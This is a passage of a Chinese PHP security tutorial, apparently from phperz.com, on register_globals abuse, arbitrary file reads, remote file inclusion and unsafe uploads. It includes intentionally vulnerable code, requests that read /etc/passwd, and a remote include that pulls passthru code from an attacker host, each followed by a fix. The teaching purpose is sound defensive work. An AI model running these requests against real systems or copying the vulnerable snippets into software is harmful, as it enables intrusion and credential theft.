2、变量滥用
PHP默认register_globals = On，对于GET, POST, Cookie, Environment, Session的变量可以直接注册成全局变量。它们的注册顺序是variables_order = "EGPCS"（可以通过php.ini修改），同名变量variables_order右边的覆盖左边，所以变量的滥用极易造成程序的混乱。而且脚本程序员往往没有对变量初始化的习惯，像如下的程序片断就极易受到攻击： php程序员站
<?
//test_1.php phperz.com
if ($pass == "hello")
$auth = 1; php程序员站
if ($auth == 1)
echo "some important information";
else
echo "nothing";
?> www.phperz.com
攻击者只需用如下的请求就能绕过检查：
victim/test_1.php?auth=1 www.phperz.com
这虽然是一个很弱智的错误，但一些著名的程序也有犯过这种错误，比如phpnuke的远程文件拷贝漏洞：www.securityfocus.com/bid/3361 www.phperz.com
PHP-4.1.0发布的时候建议关闭register_globals，并提供了7个特殊的数组变量来使用各种变量。对于从GET、POST、COOKIE等来的变量并不会直接注册成变量，必需通过数组变量来存取。PHP-4.2.0发布的时候，php.ini默认配置就是register_globals = Off。这使得程序使用PHP自身初始化的默认值，一般为0，避免了攻击者控制判断变量。 www.phperz.com
解决方法： phperz.com
配置文件php.ini设置register_globals = Off。 phperz~com
要求程序员对作为判断的变量在程序最开始初始化一个值。 phperz~com
3、文件打开 phperz.com
极易受攻击的代码片断： php程序员站
<?
//test_2.php php程序员站
phperz~com
if (!($str = readfile("$filename"))) {
echo("Could not open file: $filename<BR>\n");
exit;
}
else {
echo $str;
}
?> phperz.com
由于攻击者可以指定任意的$filename，攻击者用如下的请求就可以看到/etc/passwd： www.phperz.com
victim/test_2.php?filename=/etc/passwd phperz.com
如下请求可以读php文件本身： phperz.com
victim/test_2.php?filename=test_2.php php程序员站
PHP中文件打开函数还有fopen(), file()等，如果对文件名变量检查不严就会造成服务器重要文件被访问读取。 phperz~com
解决方法： php程序员之家
如非特殊需要，把php的文件操作限制在web目录里面。以下是修改apache配置文件httpd.conf的一个例子： www~phperz~com
<Directory /usr/local/apache/htdocs>
php_admin_value open_basedir /usr/local/apache/htdocs
</Directory> www.phperz.com
重启apache后，/usr/local/apache/htdocs目录下的PHP脚本就只能操作它自己目录下的文件了，否则PHP就会报错： www.phperz.com
Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx. php程序员之家
使用safe_mode模式也能避免这种问题，前面已经讨论过了。 phperz.com
4、包含文件 php程序员站
极易受攻击的代码片断： phperz.com
<?
//test_3.php phperz.com
if(file_exists($filename))
include("$filename");
?> php程序员站
这种不负责任的代码会造成相当大的危害，攻击者用如下请求可以得到/etc/passwd文件： www.phperz.com
victim/test_3.php?filename=/etc/passwd phperz~com
如果对于Unix版的PHP（Win版的PHP不支持远程打开文件）攻击者可以在自己开了http或FTP服务的机器上建立一个包含shell命令的文件，如attack/attack.txt的内容是<?passthru("ls /etc")?>，那么如下的请求就可以在目标主机执行命令ls /etc： phperz.com
victim/test_3.php?filename=http://attack/attack.txt php程序员站
攻击者甚至可以通过包含apache的日志文件access.log和error.log来得到执行命令的代码，不过由于干扰信息太多，有时不易成功。
对于另外一种形式，如下代码片断： www.phperz.com
<?
//test_4.php php程序员之家
include("$lib/config.php");
?> php程序员站
攻击者可以在自己的主机建立一个包含执行命令代码的config.php文件，然后用如下请求也可以在目标主机执行命令： phperz~com
victim/test_4.php?lib=http://attack php程序员站
PHP的包含函数有include(), include_once(), require(), require_once。如果对包含文件名变量检查不严就会对系统造成严重危险，可以远程执行命令。 www.phperz.com
解决方法： php程序员之家
要求程序员包含文件里的参数尽量不要使用变量，如果使用变量，就一定要严格检查要包含的文件名，绝对不能由用户任意指定。 www~phperz~com
如前面文件打开中限制PHP操作路径是一个必要的选项。另外，如非特殊需要，一定要关闭PHP的远程文件打开功能。修改php.ini文件： phperz.com
allow_url_fopen = Off phperz.com
重启apache。 phperz.com
5、文件上传 www.phperz.com
php的文件上传机制是把用户上传的文件保存在php.ini的upload_tmp_dir定义的临时目录（默认是系统的临时目录，如：/tmp）里的一个类似phpxXuoXG的随机临时文件，程序执行结束，该临时文件也被删除。PHP给上传的文件定义了四个变量：（如form变量名是file，而且register_globals打开） phperz.com
$file #就是保存到服务器端的临时文件（如/tmp/phpxXuoXG ）
$file_size #上传文件的大小
$file_name #上传文件的原始名称
$file_type #上传文件的类型 php程序员站
推荐使用： www.phperz.com
$HTTP_POST_FILES['file']['tmp_name']
$HTTP_POST_FILES['file']['size']
$HTTP_POST_FILES['file']['name']
$HTTP_POST_FILES['file']['type'] php程序员站
这是一个最简单的文件上传代码： phperz.com
<?
//test_5.php www.phperz.com
if(isset($upload) && $file != "none") {
copy($file, "/usr/local/apache/htdocs/upload/".$file_name);
echo "文件".$file_name."上传成功！点击<a href=\"$PHP_SELF\">继续上传</a>";
exit;
}
?>
<html>
<head>
<title>文件上传</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#FFFFFF">
<form enctype="multipart/form-data" method="post">
上传文件:
<input type="file" name="file" size="30">
<input type="submit" name="upload" value="上传">
</form>
</body>
</html> www~phperz~com
www.phperz.com
这样的上传代码存在读取任意文件和执行命令的重大问题。
下面的请求可以把/etc/passwd文档拷贝到web目录/usr/local/apache/htdocs/test（注意：这个目录必须nobody可写）下的attack.txt文件里： phperz.com
victim/test_5.php?upload=1&;file=/etc/passwd&file_name=attack.txt www.phperz.com
然后可以用如下请求读取口令文件： www.phperz.com
victim/test/attack.txt www~phperz~com
攻击者可以把php文件拷贝成其它扩展名，泄漏脚本源代码。
攻击者可以自定义form里file_name变量的值，上传覆盖任意有写权限的文件。
攻击者还可以上传PHP脚本执行主机的命令。 www.phperz.com
解决方法： phperz.com
PHP-4.0.3以后提供了is_uploaded_file和move_uploaded_file函数，可以检查操作的文件是否是用户上传的文件，从而避免把系统文件拷贝到web目录。
使用$HTTP_POST_FILES数组来读取用户上传的文件变量。
严格检查上传变量。比如不允许是php脚本文件。 www~phperz~com
把PHP脚本操作限制在web目录可以避免程序员使用copy函数把系统文件拷贝到web目录。move_uploaded_file不受open_basedir的限制，所以不必修改php.ini里upload_tmp_dir的值。
把PHP脚本用phpencode进行加密，避免由于copy操作泄漏源码。
严格配置文件和目录的权限，只允许上传的目录能够让nobody用户可写。
对于上传目录去掉PHP解释功能，可以通过修改httpd.conf实现： phperz.com
<Directory /usr/local/apache/htdocs/upload>
php_flag engine off
#如果是php3换成php3_engine off
</Directory> phperz~com
重启apache，upload目录的php文件就不能被apache解释了，即使上传了php文件也没有问题，只能直接显示源码。 www~phperz~com
|
